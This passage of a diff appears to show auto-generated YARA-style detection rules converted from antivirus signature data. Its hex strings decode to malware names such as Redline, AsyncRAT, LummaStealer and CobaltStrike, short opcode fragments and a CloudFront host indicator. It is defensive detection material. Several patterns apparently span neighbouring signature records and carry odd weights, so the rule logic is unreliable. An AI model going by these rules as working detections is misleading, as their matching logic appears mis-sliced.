62 65 72 2e 42 00 04 00 20 01 dd e6 ca d3 c5 c2 d8 c7 d4 dd ec d0 d6 c7 ca c6 ca d3 c5 dd e2 d0 cb d5 ca c2 c6 dd e2 d0 cb d5 02 00 0b 01 a7 ac b0 ad bb b8 ee ac b4 ac 00 02 00 0e 01 e3 dd dd e6 dd e3 e6 e3 df df e6 e2 e0 00 02 00 0c 01 05 02 01 06 03 10 12 47 11 09 09 00 00 00 78 7f 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 } //4534 $a_6e_2 = {57 69 6e 33 32 2f 4e 53 49 53 49 6e 6a 65 63 74 2e 53 4d 4f 49 30 31 30 36 21 4d 54 42 00 05 00 23 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 90 00 05 00 20 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 74 90 01 } //27247 - $a_74_3 = {1a 90 00 00 00 78 7f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 6c 69 6e 65 2e 4e 45 4a 21 4d 54 42 00 01 00 0a 01 69 73 7a 4b 69 73 7a 4b 69 73 01 00 0b 01 7a 6e 50 71 6b 4a 57 2e 65 78 65 01 00 13 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 01 00 07 01 46 6c 76 6e 51 79 73 01 00 12 01 62 00 42 00 45 00 5a 00 46 00 62 00 } //26625 - $a_00_4 = {68 00 00 00 78 7f 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 4e 52 41 21 4d 54 42 00 05 00 43 03 8f 28 00 00 01 25 71 90 01 03 01 11 05 11 0d 5a 08 58 20 90 01 03 d8 20 90 01 } //119 - $a_90_5 = {03 08 61 58 5e d2 61 d2 81 90 01 03 01 1e 13 0f 38 90 01 03 ff d0 90 01 03 06 26 11 0b 6f 90 01 } //12035 + $a_74_3 = {1a 90 00 00 00 78 7f 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 1d 80 01 64 32 76 30 7a 65 74 67 75 36 68 6f 74 76 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 18 80 01 62 75 69 6c 64 2f 69 6c 2f 76 36 2e 37 35 2e 35 30 2e 30 39 35 2e 35 37 01 00 0d 80 01 5c 50 6f 77 65 72 49 53 4f 2e 63 68 6d 01 00 0e 80 01 75 6e 6b 6e 6f 77 6e 64 } //26625 + $a_70_4 = {62 00 00 78 7f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 6c 69 6e 65 2e 4e 45 4a 21 4d 54 42 } //27756 condition: - ((#a_46_0 & 1)*16675+(#a_d2_1 & 1)*4534+(#a_6e_2 & 1)*27247+(#a_74_3 & 1)*26625+(#a_00_4 & 1)*119+(#a_90_5 & 1)*12035) >=4 + ((#a_46_0 & 1)*16675+(#a_d2_1 & 1)*4534+(#a_6e_2 & 1)*27247+(#a_74_3 & 1)*26625+(#a_70_4 & 1)*27756) >=4 } -rule _InfrastructureShared_8226{ +rule _InfrastructureShared_8720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 03 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 57 65 6b 72 6f 62 65 72 2e 42 00 04 00 20 01 dd e6 ca d3 c5 c2 d8 c7 d4 dd ec d0 d6 c7 ca c6 ca d3 c5 dd e2 d0 cb d5 ca c2 c6 dd e2 d0 cb d5 02 00 0b 01 a7 ac b0 ad bb b8 ee ac b4 ac 00 02 00 0e 01 } //18467 - $a_e6_1 = {e3 e6 e3 df df e6 e2 e0 00 02 00 0c 01 05 02 01 06 03 10 12 47 11 09 09 00 00 00 78 7f 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 6a 65 63 74 2e 53 4d 4f 49 30 31 30 36 21 4d 54 42 00 05 00 23 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 90 00 05 00 20 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 74 90 01 01 68 80 74 d2 1a 90 00 00 00 78 7f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 6c 69 6e 65 2e 4e 45 4a 21 4d 54 42 00 01 00 0a 01 69 73 7a 4b 69 73 7a 4b 69 73 01 00 0b 01 7a } //-8733 - $a_6b_2 = {57 2e 65 78 65 01 00 13 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 01 00 07 01 46 6c 76 6e 51 79 73 01 00 12 01 62 00 42 00 45 00 5a 00 46 00 62 00 77 00 4f 00 68 00 00 00 78 7f 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 4e 52 41 21 4d 54 42 00 05 00 43 03 8f } //20590 + $a_e6_1 = {e3 e6 e3 df df e6 e2 e0 00 02 00 0c 01 05 02 01 06 03 10 12 47 11 09 09 00 00 00 78 7f 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 6a 65 63 74 2e 53 4d 4f 49 30 31 30 36 21 4d 54 42 00 05 00 23 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 90 00 05 00 20 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 74 90 01 01 68 80 74 d2 1a 90 00 00 00 78 7f 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 1d 80 01 64 32 76 30 7a 65 74 67 75 36 68 6f 74 76 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 } //-8733 + $a_80_2 = {62 75 69 6c 64 2f 69 6c 2f 76 36 2e 37 35 2e 35 30 2e 30 39 35 2e 35 37 } //build/il/v6.75.50.095.57 1 + $a_80_3 = {5c 50 6f 77 65 72 49 53 4f 2e 63 68 6d } //\PowerISO.chm 1 condition: - ((#a_54_0 & 1)*18467+(#a_e6_1 & 1)*-8733+(#a_6b_2 & 1)*20590) >=3 + ((#a_54_0 & 1)*18467+(#a_e6_1 & 1)*-8733+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=3 } -rule _InfrastructureShared_8227{ +rule _InfrastructureShared_8721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 53 49 53 49 6e 6a 65 63 74 2e 53 4d 4f 49 30 31 30 36 21 4d 54 42 00 05 00 23 03 8b d8 59 59 6a 04 68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 0f 84 90 01 02 00 00 68 80 74 d2 1a 90 00 05 00 20 03 8b d8 } //18467 - $a_04_1 = {68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 74 90 01 01 68 80 74 d2 1a 90 00 00 00 78 7f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 6c 69 6e 65 2e 4e 45 4a 21 4d 54 42 00 01 00 0a 01 69 73 7a 4b 69 73 7a 4b 69 73 01 00 0b 01 7a 6e 50 71 6b 4a 57 2e 65 78 65 01 00 13 01 43 } //22873 + $a_04_1 = {68 00 30 00 00 68 80 74 d2 1a 57 ff d6 85 c0 74 90 01 01 68 80 74 d2 1a 90 00 00 00 78 7f 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 1d 80 01 64 32 76 30 7a 65 74 67 75 36 68 6f 74 76 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 18 80 01 62 75 69 6c 64 2f 69 6c 2f 76 } //22873 condition: ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*22873) >=5 } -rule _InfrastructureShared_8228{ +rule _InfrastructureShared_8722{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 53 65 70 64 6f 74 00 02 00 1d 80 01 64 32 76 30 7a 65 74 67 75 36 68 6f 74 76 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 18 80 01 62 75 69 6c 64 2f 69 6c 2f 76 36 2e 37 35 2e 35 30 2e 30 39 35 2e 35 37 01 00 0d 80 01 5c 50 6f 77 } //20515 + $a_53_1 = {2e 63 68 6d 01 00 0e 80 01 75 6e 6b 6e 6f 77 6e 64 6c 6c 2e 70 64 62 00 00 78 7f 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 6c 69 6e 65 2e 4e 45 4a 21 4d 54 42 00 01 00 0a 01 } //29285 + $a_4b_2 = {73 7a 4b 69 73 01 00 0b 01 7a 6e 50 71 6b 4a 57 2e 65 78 65 01 00 13 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 01 00 07 01 46 6c 76 6e 51 79 73 01 00 12 01 62 00 42 00 45 00 5a 00 46 00 62 00 77 00 4f 00 68 00 00 00 78 7f 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 4e 52 41 21 4d 54 42 } //29545 + condition: + ((#a_41_0 & 1)*20515+(#a_53_1 & 1)*29285+(#a_4b_2 & 1)*29545) >=5 + +} +rule _InfrastructureShared_8723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -87308,7 +92631,7 @@ rule _InfrastructureShared_8228{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*13870+(#a_3a_2 & 1)*19521+(#a_01_3 & 1)*-32302) >=5 } -rule _InfrastructureShared_8229{ +rule _InfrastructureShared_8724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -87319,7 +92642,7 @@ rule _InfrastructureShared_8229{ ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*7681) >=6 } -rule _InfrastructureShared_8230{ +rule _InfrastructureShared_8725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -87333,7 +92656,7 @@ rule _InfrastructureShared_8230{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4+(#a_7f_2 & 1)*0+(#a_58_3 & 1)*22616+(#a_74_4 & 1)*283) >=6 } -rule _InfrastructureShared_8231{ +rule _InfrastructureShared_8726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -87347,7 +92670,7 @@ rule _InfrastructureShared_8231{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*263+(#a_65_2 & 1)*29742+(#a_73_3 & 1)*21620+(#a_23_4 & 1)*1) >=6 } -rule _InfrastructureShared_8232{ +rule _InfrastructureShared_8727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -87360,7 +92683,7 @@ rule _InfrastructureShared_8232{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*12090+(#a_3a_2 & 1)*21587+(#a_04_3 & 1)*-28632) >=7 } -rule _InfrastructureShared_8233{ +rule _InfrastructureShared_8728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -87370,7 +92693,7 @@ rule _InfrastructureShared_8233{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8234{ +rule _InfrastructureShared_8729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -87380,7 +92703,7 @@ rule _InfrastructureShared_8234{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8235{ +rule _InfrastructureShared_8730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -87390,7 +92713,7 @@ rule _InfrastructureShared_8235{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8236{ +rule _InfrastructureShared_8731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -87401,7 +92724,7 @@ rule _InfrastructureShared_8236{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*77) >=10 } -rule _InfrastructureShared_8237{ +rule _InfrastructureShared_8732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -87413,7 +92736,7 @@ rule _InfrastructureShared_8237{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*13166+(#a_6f_2 & 1)*21562) >=12 } -rule _InfrastructureShared_8238{ +rule _InfrastructureShared_8733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -87425,7 +92748,7 @@ rule _InfrastructureShared_8238{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29557+(#a_00_2 & 1)*2564) >=12 } -rule _InfrastructureShared_8239{ +rule _InfrastructureShared_8734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -87437,7 +92760,7 @@ rule _InfrastructureShared_8239{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25697+(#a_00_2 & 1)*0) >=12 } -rule _InfrastructureShared_8240{ +rule _InfrastructureShared_8735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -87448,7 +92771,7 @@ rule _InfrastructureShared_8240{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*-8704) >=15 } -rule _InfrastructureShared_8241{ +rule _InfrastructureShared_8736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -87459,7 +92782,7 @@ rule _InfrastructureShared_8241{ ((#a_46_0 & 1)*16675+(#a_9e_1 & 1)*4484) >=20 } -rule _InfrastructureShared_8242{ +rule _InfrastructureShared_8737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 04 00 21 " @@ -87472,7 +92795,7 @@ rule _InfrastructureShared_8242{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*3584+(#a_65_2 & 1)*30060+(#a_2e_3 & 1)*24943) >=20 } -rule _InfrastructureShared_8243{ +rule _InfrastructureShared_8738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -87484,7 +92807,7 @@ rule _InfrastructureShared_8243{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*31092+(#a_04_2 & 1)*4098) >=300 } -rule _InfrastructureShared_8244{ +rule _InfrastructureShared_8739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87494,7 +92817,7 @@ rule _InfrastructureShared_8244{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8245{ +rule _InfrastructureShared_8740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87504,7 +92827,7 @@ rule _InfrastructureShared_8245{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8246{ +rule _InfrastructureShared_8741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87514,7 +92837,7 @@ rule _InfrastructureShared_8246{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8247{ +rule _InfrastructureShared_8742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87524,7 +92847,17 @@ rule _InfrastructureShared_8247{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8248{ +rule _InfrastructureShared_8743{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4f 6e 65 57 61 79 42 6f 6f 6d 65 72 61 6e 67 2e 41 21 64 68 61 00 01 00 4b 41 45 33 c0 ba 00 00 00 80 45 33 c9 c7 44 24 28 80 00 00 00 83 cb ff c7 44 24 20 03 00 00 00 53 e8 52 13 07 00 48 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_8744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87534,7 +92867,7 @@ rule _InfrastructureShared_8248{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8249{ +rule _InfrastructureShared_8745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87544,7 +92877,7 @@ rule _InfrastructureShared_8249{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8250{ +rule _InfrastructureShared_8746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87554,7 +92887,7 @@ rule _InfrastructureShared_8250{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8251{ +rule _InfrastructureShared_8747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87564,7 +92897,7 @@ rule _InfrastructureShared_8251{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8252{ +rule _InfrastructureShared_8748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87574,7 +92907,7 @@ rule _InfrastructureShared_8252{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8253{ +rule _InfrastructureShared_8749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87584,7 +92917,7 @@ rule _InfrastructureShared_8253{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8254{ +rule _InfrastructureShared_8750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87594,7 +92927,7 @@ rule _InfrastructureShared_8254{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8255{ +rule _InfrastructureShared_8751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87604,7 +92937,7 @@ rule _InfrastructureShared_8255{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8256{ +rule _InfrastructureShared_8752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87614,7 +92947,7 @@ rule _InfrastructureShared_8256{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8257{ +rule _InfrastructureShared_8753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87624,7 +92957,17 @@ rule _InfrastructureShared_8257{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8258{ +rule _InfrastructureShared_8754{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 4b 4a 4c 21 4d 54 42 00 01 00 4c 03 0f b7 14 72 2b 85 90 01 04 25 90 01 04 31 c2 c1 ea 90 01 01 8b 04 91 03 85 90 01 04 89 85 90 01 04 8b 85 90 01 04 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_8755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -87634,7 +92977,37 @@ rule _InfrastructureShared_8258{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8259{ +rule _InfrastructureShared_8756{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 41 46 42 21 4d 54 42 00 01 00 51 03 a2 25 17 07 72 90 01 01 7a 00 70 6f 90 01 01 00 00 0a 75 90 01 01 00 00 01 a2 25 18 07 72 90 01 01 7a 00 70 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8757{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 49 54 21 4d 54 42 00 01 00 4c 03 48 63 d0 48 8b 45 90 01 01 48 01 d0 0f b6 00 89 c1 8b 45 90 01 01 99 f7 7d 90 01 01 89 d0 48 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8758{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 56 49 21 4d 54 42 00 01 00 4c 03 49 63 de 48 8d 14 1c 48 81 c2 90 01 04 e8 90 01 04 0f b6 84 3c 90 01 04 0f b6 8c 1c 90 01 04 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_8759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87645,7 +93018,7 @@ rule _InfrastructureShared_8259{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26992) >=1 } -rule _InfrastructureShared_8260{ +rule _InfrastructureShared_8760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87656,7 +93029,7 @@ rule _InfrastructureShared_8260{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*16778) >=1 } -rule _InfrastructureShared_8261{ +rule _InfrastructureShared_8761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87667,7 +93040,7 @@ rule _InfrastructureShared_8261{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-29716) >=1 } -rule _InfrastructureShared_8262{ +rule _InfrastructureShared_8762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87678,7 +93051,7 @@ rule _InfrastructureShared_8262{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29263) >=1 } -rule _InfrastructureShared_8263{ +rule _InfrastructureShared_8763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87689,7 +93062,7 @@ rule _InfrastructureShared_8263{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*400) >=1 } -rule _InfrastructureShared_8264{ +rule _InfrastructureShared_8764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87700,7 +93073,7 @@ rule _InfrastructureShared_8264{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*26912) >=1 } -rule _InfrastructureShared_8265{ +rule _InfrastructureShared_8765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87711,7 +93084,7 @@ rule _InfrastructureShared_8265{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*23112) >=1 } -rule _InfrastructureShared_8266{ +rule _InfrastructureShared_8766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -87721,7 +93094,7 @@ rule _InfrastructureShared_8266{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8267{ +rule _InfrastructureShared_8767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -87733,7 +93106,7 @@ rule _InfrastructureShared_8267{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28440+(#a_08_2 & 1)*-32000) >=1 } -rule _InfrastructureShared_8268{ +rule _InfrastructureShared_8768{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -87744,7 +93117,7 @@ rule _InfrastructureShared_8268{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*4082) >=1 } -rule _InfrastructureShared_8269{ +rule _InfrastructureShared_8769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -87755,7 +93128,7 @@ rule _InfrastructureShared_8269{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*100) >=1 } -rule _InfrastructureShared_8270{ +rule _InfrastructureShared_8770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -87768,7 +93141,7 @@ rule _InfrastructureShared_8270{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*27947+(#a_55_2 & 1)*30034+(#a_66_3 & 1)*23656) >=1 } -rule _InfrastructureShared_8271{ +rule _InfrastructureShared_8771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -87778,7 +93151,7 @@ rule _InfrastructureShared_8271{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_8272{ +rule _InfrastructureShared_8772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87789,7 +93162,7 @@ rule _InfrastructureShared_8272{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*2306) >=2 } -rule _InfrastructureShared_8273{ +rule _InfrastructureShared_8773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87800,7 +93173,7 @@ rule _InfrastructureShared_8273{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*22619) >=2 } -rule _InfrastructureShared_8274{ +rule _InfrastructureShared_8774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87811,7 +93184,7 @@ rule _InfrastructureShared_8274{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*65) >=2 } -rule _InfrastructureShared_8275{ +rule _InfrastructureShared_8775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87822,7 +93195,7 @@ rule _InfrastructureShared_8275{ ((#a_46_0 & 1)*16675+(#a_40_1 & 1)*1) >=2 } -rule _InfrastructureShared_8276{ +rule _InfrastructureShared_8776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87833,7 +93206,7 @@ rule _InfrastructureShared_8276{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*26995) >=2 } -rule _InfrastructureShared_8277{ +rule _InfrastructureShared_8777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87844,7 +93217,7 @@ rule _InfrastructureShared_8277{ ((#a_46_0 & 1)*16675+(#a_24_1 & 1)*-29884) >=2 } -rule _InfrastructureShared_8278{ +rule _InfrastructureShared_8778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -87855,7 +93228,7 @@ rule _InfrastructureShared_8278{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28537) >=2 } -rule _InfrastructureShared_8279{ +rule _InfrastructureShared_8779{ meta: description = 